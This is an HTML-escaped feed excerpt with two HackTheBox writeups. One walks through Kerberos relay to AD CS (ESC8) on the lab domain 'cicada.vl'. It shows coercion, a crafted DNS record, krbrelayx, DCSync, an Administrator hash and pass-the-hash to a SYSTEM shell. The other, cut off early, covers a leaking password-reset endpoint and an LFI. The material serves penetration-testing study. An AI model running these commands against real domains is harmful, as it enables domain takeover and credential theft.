&lt;p&gt;ESC8 basically means the certificate enrollment page (&lt;code&gt;/certsrv/certfnsh.asp&lt;/code&gt;) accepts requests over plain HTTP, which can't do Kerberos/NTLM signing. That makes it relayable - whatever authentication we manage to capture or redirect can be forwarded straight into a cert request as that identity.&lt;/p&gt;

&lt;h2&gt;
  
  
  First relay attempt (and why it didn't work)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;certipy relay &lt;span class="nt"&gt;-target&lt;/span&gt; &lt;span class="s1"&gt;'http://dc-jpq225.cicada.vl'&lt;/span&gt; &lt;span class="nt"&gt;-template&lt;/span&gt; DomainController &lt;span class="nt"&gt;-debug&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Stands up a rogue SMB listener waiting for something to relay into the ADCS endpoint. To get the DC talking to us, threw the usual coercion tricks at it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; Rosie.Powell &lt;span class="nt"&gt;-p&lt;/span&gt; Cicada123 &lt;span class="nt"&gt;-d&lt;/span&gt; cicada.vl &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-M&lt;/span&gt; coerce_plus &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;LISTENER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;your-ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;coerce_plus&lt;/code&gt; tries DFSCoerce, PetitPotam, PrinterBug and MS-EVEN all at once to make the DC open a connection back to us. All three came back "Exploit Success," but the &lt;code&gt;certipy relay&lt;/code&gt; session just sat there and timed out. Makes sense in hindsight — since NTLM is disabled, the DC's coerced connection is authenticating with Kerberos, and a normal relay setup has nothing to do with that.&lt;/p&gt;

&lt;h2&gt;
  
  
  The actual technique - relaying Kerberos itself
&lt;/h2&gt;

&lt;p&gt;Went looking for how people deal with Kerberos-only environments for this kind of attack, and found two good writeups on it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.thehacker.recipes/ad/movement/kerberos/relay" rel="noopener noreferrer"&gt;https://www.thehacker.recipes/ad/movement/kerberos/relay&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx" rel="noopener noreferrer"&gt;https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The gist: when a Windows client resolves the SPN for an outgoing Kerberos SMB connection, it appends a Base64 "target info" blob onto the end of the hostname behind the scenes (&lt;code&gt;CredMarshalTargetInfo&lt;/code&gt;). If you register a DNS record whose name is &lt;code&gt;&amp;lt;hostname&amp;gt;&amp;lt;that marshaled blob&amp;gt;&lt;/code&gt;, the client requests a Kerberos ticket for the short, real SPN (e.g. &lt;code&gt;cifs/DC-JPQ225&lt;/code&gt;) — but the actual TCP connection goes wherever that DNS record points, because Windows strips the extra blob back off before it ever reaches the Kerberos layer. So you get a legit &lt;code&gt;AP_REQ&lt;/code&gt; for the real service, delivered to whatever IP you want.&lt;/p&gt;

&lt;p&gt;Built the marshaled blob and registered it as a DNS record pointing at my box:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodyAD &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;--host&lt;/span&gt; DC-JPQ225.cicada.vl &lt;span class="nt"&gt;-d&lt;/span&gt; cicada.vl &lt;span class="nt"&gt;-u&lt;/span&gt; Rosie.Powell &lt;span class="nt"&gt;-p&lt;/span&gt; Cicada123 &lt;span class="se"&gt;\&lt;/span&gt;
  add dnsRecord &lt;span class="s2"&gt;"DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA"&lt;/span&gt; &amp;lt;your-ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Checked it resolved:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dig @&amp;lt;machine-ip&amp;gt; DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.cicada.vl A +time&lt;span class="o"&gt;=&lt;/span&gt;5
...
&lt;span class="p"&gt;;;&lt;/span&gt; ANSWER SECTION:
...  IN A &amp;lt;your-ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Spun up &lt;code&gt;krbrelayx&lt;/code&gt; instead of &lt;code&gt;ntlmrelayx&lt;/code&gt;, since it actually understands Kerberos &lt;code&gt;AP_REQ&lt;/code&gt; messages on its SMB listener and can hand them straight to the ADCS relay module:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 krbrelayx.py &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="s1"&gt;'http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--adcs&lt;/span&gt; &lt;span class="nt"&gt;--template&lt;/span&gt; DomainController &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s1"&gt;'DC-JPQ225$'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then coerced the DC again, this time pointing it at the poisoned DNS name instead of a plain IP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc smb &amp;lt;machine-ip&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; Rosie.Powell &lt;span class="nt"&gt;-p&lt;/span&gt; Cicada123 &lt;span class="nt"&gt;-d&lt;/span&gt; cicada.vl &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-M&lt;/span&gt; coerce_plus &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;LISTENER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA"&lt;/span&gt; &lt;span class="nv"&gt;METHOD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Petitpotam
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This time it landed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;[*] SMBD: Received connection from &amp;lt;machine-ip&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="go"&gt;[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] GOT CERTIFICATE! ID 89
&lt;/span&gt;&lt;span class="gp"&gt;[*] Writing PKCS#&lt;/span&gt;12 certificate to ./DC-JPQ225.pfx
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now sitting on a valid certificate for the domain controller's own machine account.&lt;/p&gt;

&lt;h2&gt;
  
  
  Turning the cert into domain compromise
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;certipy auth &lt;span class="nt"&gt;-pfx&lt;/span&gt; DC-JPQ225.pfx &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; &amp;lt;machine-ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;certipy auth&lt;/code&gt; does PKINIT with the cert to pull a real TGT for &lt;code&gt;DC-JPQ225$&lt;/code&gt;, and along the way also grabs its NT hash.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[*] Got TGT
[*] Saving credential cache to 'dc-jpq225.ccache'
&lt;/span&gt;&lt;span class="gp"&gt;[*] Got hash for 'dc-jpq225$&lt;/span&gt;@cicada.vl&lt;span class="s1"&gt;': aad3b435...:a65952c664e9cf5de60195626edbeee3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;dc-jpq225.ccache
klist
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Machine accounts on a DC have replication rights baked in (same rights DCSync abuses), so with a valid ticket as &lt;code&gt;DC-JPQ225$&lt;/code&gt; a DCSync just works:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-secretsdump &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-no-pass&lt;/span&gt; cicada.vl/dc-jpq225&lt;span class="se"&gt;\$&lt;/span&gt;@dc-jpq225.cicada.vl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That dumped every account's hashes. Only really needed Administrator, so a scoped rerun:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-secretsdump &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-no-pass&lt;/span&gt; &lt;span class="nt"&gt;-just-dc-user&lt;/span&gt; Administrator &lt;span class="se"&gt;\&lt;/span&gt;
  cicada.vl/dc-jpq225&lt;span class="se"&gt;\$&lt;/span&gt;@dc-jpq225.cicada.vl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;:&lt;span class="m"&gt;500&lt;/span&gt;:&lt;span class="n"&gt;aad3b435b51404eeaad3b435b51404ee&lt;/span&gt;:&lt;span class="m"&gt;85&lt;/span&gt;&lt;span class="n"&gt;a0da53871a9d56b6cd05deda3a5e87&lt;/span&gt;:::
&lt;span class="n"&gt;Administrator&lt;/span&gt;:&lt;span class="n"&gt;aes256&lt;/span&gt;-&lt;span class="n"&gt;cts&lt;/span&gt;-&lt;span class="n"&gt;hmac&lt;/span&gt;-&lt;span class="n"&gt;sha1&lt;/span&gt;-&lt;span class="m"&gt;96&lt;/span&gt;:&lt;span class="n"&gt;f9181ec2&lt;/span&gt;...
&lt;span class="n"&gt;Administrator&lt;/span&gt;:&lt;span class="n"&gt;aes128&lt;/span&gt;-&lt;span class="n"&gt;cts&lt;/span&gt;-&lt;span class="n"&gt;hmac&lt;/span&gt;-&lt;span class="n"&gt;sha1&lt;/span&gt;-&lt;span class="m"&gt;96&lt;/span&gt;:&lt;span class="m"&gt;926&lt;/span&gt;&lt;span class="n"&gt;e5da4&lt;/span&gt;...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;(the full run also pulled NT/AES/DES keys for the rest of the domain users, krbtgt, and the DC's own account - leaving that out here since only Administrator's hash was needed to finish)&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting a shell
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;impacket-psexec &lt;span class="nt"&gt;-hashes&lt;/span&gt; aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-k&lt;/span&gt; cicada.vl/Administrator@dc-jpq225.cicada.vl &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; &amp;lt;machine-ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pass-the-hash straight into psexec, routed through Kerberos with &lt;code&gt;-k&lt;/code&gt; since that's what the domain wants. No cracking needed, the NT hash alone is enough to authenticate.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="kd"&gt;C&lt;/span&gt;:\Windows\system32&amp;gt; &lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="kd"&gt;C&lt;/span&gt;:\Users\Administrator\Desktop
&lt;span class="kd"&gt;C&lt;/span&gt;:\Users\Administrator\Desktop&amp;gt; &lt;span class="nb"&gt;dir&lt;/span&gt;
 &lt;span class="m"&gt;09&lt;/span&gt;/15/2024  &lt;span class="m"&gt;06&lt;/span&gt;:26 &lt;span class="kd"&gt;AM&lt;/span&gt;      &lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="m"&gt;304&lt;/span&gt; &lt;span class="kd"&gt;Microsoft&lt;/span&gt; &lt;span class="kd"&gt;Edge&lt;/span&gt;.lnk
 &lt;span class="m"&gt;06&lt;/span&gt;/30/2026  &lt;span class="m"&gt;11&lt;/span&gt;:36 &lt;span class="kd"&gt;PM&lt;/span&gt;         &lt;span class="m"&gt;34&lt;/span&gt; &lt;span class="kd"&gt;root&lt;/span&gt;.txt
 &lt;span class="m"&gt;06&lt;/span&gt;/30/2026  &lt;span class="m"&gt;11&lt;/span&gt;:36 &lt;span class="kd"&gt;PM&lt;/span&gt;         &lt;span class="m"&gt;34&lt;/span&gt; &lt;span class="kd"&gt;user&lt;/span&gt;.txt

&lt;span class="kd"&gt;C&lt;/span&gt;:\Users\Administrator\Desktop&amp;gt; &lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="kd"&gt;user&lt;/span&gt;.txt
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="kd"&gt;REDACTED&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;

&lt;span class="kd"&gt;C&lt;/span&gt;:\Users\Administrator\Desktop&amp;gt; &lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="kd"&gt;root&lt;/span&gt;.txt
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="kd"&gt;REDACTED&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Domain Admin, done.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;NFS export &lt;code&gt;/profiles&lt;/code&gt; mountable by &lt;code&gt;(everyone)&lt;/code&gt; with no authentication at all.&lt;/li&gt;
&lt;li&gt;Plaintext password sitting inside an image file on that share.&lt;/li&gt;
&lt;li&gt;AD CS misconfigured with ESC8 — web enrollment enabled over HTTP, no signing enforced.&lt;/li&gt;
&lt;li&gt;Coercion methods (PetitPotam, DFSCoerce, PrinterBug, MS-EVEN) all working against the DC.&lt;/li&gt;
&lt;li&gt;The Kerberos SPN target-info stripping behavior let a coerced Kerberos connection be redirected to an attacker host via a crafted DNS record, even with NTLM fully disabled.&lt;/li&gt;
&lt;li&gt;DC machine account has default replication rights, making DCSync possible once its identity was captured.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Anonymous NFS mount (/profiles exported to everyone)
└── Plaintext password found in marketing.png (Rosie.Powell:Cicada123)
    └── Valid domain login (Kerberos-only, NTLM disabled)
        └── AD CS enumerated → ESC8 (HTTP web enrollment, no signing)
            └── Coercion (PetitPotam) + DNS SPN trick + krbrelayx
                └── Kerberos AP_REQ relayed into ADCS HTTP endpoint
                    └── Certificate issued for DC-JPQ225$ (DomainController template)
                        └── PKINIT (certipy auth) → TGT + NT hash for DC-JPQ225$
                            └── DCSync (secretsdump) using DC machine account
                                └── Administrator NT hash recovered
                                    └── Pass-the-hash + Kerberos (psexec)
                                        └── SYSTEM shell on DC-JPQ225
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>writeup</category>
      <category>ctf</category>
    </item>
    <item>
      <title>HackTheBox: Reset Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 01 Jul 2026 06:32:24 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-reset-writeup-15pc</link>
      <guid>https://dev.to/exploitnotes/hackthebox-reset-writeup-15pc</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;Reset&lt;/code&gt; is a Linux box built around a chain of web application logic flaws and a legacy authentication misconfiguration. Initial access starts with a &lt;strong&gt;password reset endpoint that leaks the new admin password&lt;/strong&gt; directly in its JSON response, granting admin access to a log-viewer dashboard. That dashboard has an &lt;strong&gt;unvalidated file-path parameter (LFI)&lt;/strong&gt;, which is chained with &lt;strong&gt;Apache access-log poisoning&lt;/strong&gt; (injecting PHP via the &lt;code&gt;User-Agent&lt;/code&gt; header) to achieve remote code execution as &lt;code&gt;www-data&lt;/code&gt;. From there, group membership (&lt;code&gt;adm&lt;/code&gt;) exposes the user flag. Privilege escalation to a second user (&lt;code&gt;sadm&lt;/code&gt;) abuses a &lt;strong&gt;&lt;code&gt;hosts.equiv&lt;/code&gt; host-based trust misconfiguration&lt;/strong&gt; exploitable via the legacy &lt;code&gt;rlogin&lt;/code&gt; service, requiring no password. Finally, a &lt;strong&gt;misconfigured sudo rule permitting &lt;code&gt;nano&lt;/code&gt;&lt;/strong&gt; is escaped via GTFOBins to obtain a root shell and the root flag.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1.1 Nmap Scan
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt; &lt;span class="nt"&gt;-oA&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;ssh&lt;/td&gt;
&lt;td&gt;OpenSSH 8.9p1 Ubuntu 3ubuntu0.13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;http&lt;/td&gt;
&lt;td&gt;Apache httpd 2.4.52 (Ubuntu) — "Admin Login"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;512/tcp&lt;/td&gt;
&lt;td&gt;exec&lt;/td&gt;
&lt;td&gt;netkit-rsh rexecd&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;513/tcp&lt;/td&gt;
&lt;td&gt;login&lt;/td&gt;
&lt;td&gt;rlogind&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;514/tcp&lt;/td&gt;
&lt;td&gt;shell&lt;/td&gt;
&lt;td&gt;Netkit rshd&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The presence of the legacy &lt;strong&gt;r-services&lt;/strong&gt; (&lt;code&gt;rexec&lt;/code&gt;, &lt;code&gt;rlogin&lt;/code&gt;, &lt;code&gt;rsh&lt;/code&gt; on 512–514) is unusual for a modern box and hints that host-based trust authentication (&lt;code&gt;.rhosts&lt;/code&gt; / &lt;code&gt;hosts.equiv&lt;/code&gt;) will be relevant later.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;PHPSESSID&lt;/code&gt; cookie was flagged as missing the &lt;code&gt;httponly&lt;/code&gt; flag by &lt;code&gt;http-cookie-flags&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Web Enumeration
&lt;/h2&gt;

&lt;p&gt;Browsing to &lt;code&gt;http://&amp;lt;MACHINE_IP&amp;gt;/&lt;/code&gt; presents an &lt;strong&gt;Admin Login&lt;/strong&gt; page (Bootstrap 3.3.7 themed) with a "Forgot Password?" modal that POSTs a username to &lt;code&gt;reset_password.php&lt;/code&gt; via AJAX.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"resetPasswordForm"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"resetUsername"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"username"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Send Reset Email&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ajax&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;reset_password.php&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="na"&gt;success&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. Vulnerability #1 - Password Reset Information Disclosure
&lt;/h2&gt;

&lt;p&gt;Rather than emailing a reset token, &lt;code&gt;reset_password.php&lt;/code&gt; returns the &lt;strong&gt;new plaintext password directly in the JSON response&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/reset_password.php &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"username=admin"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/x-www-form-urlencoded"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Response:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"new_password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"9ab49143"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"timestamp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"2026-07-01 04:51:16"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a critical logic flaw - no email/token verification is required, and the endpoint hands the tester the admin credentials outright.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.1 Authenticating as admin
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/index.php &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"username=admin&amp;amp;password=9ab49143"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-L&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This authenticates successfully and redirects to &lt;code&gt;dashboard.php&lt;/code&gt;, confirming "Logged in as: &lt;strong&gt;admin&lt;/strong&gt;".&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Vulnerability #2 - Local File Inclusion (LFI) in &lt;code&gt;dashboard.php&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;The &lt;strong&gt;Admin Dashboard&lt;/strong&gt; presents a "Select Log File" dropdown (&lt;code&gt;syslog&lt;/code&gt;, &lt;code&gt;auth.log&lt;/code&gt;) which is submitted via POST to &lt;code&gt;dashboard.php&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;select&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"file"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;option&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"/var/log/syslog"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;syslog&lt;span class="nt"&gt;&amp;lt;/option&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;option&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"/var/log/auth.log"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;auth.log&lt;span class="nt"&gt;&amp;lt;/option&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/select&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



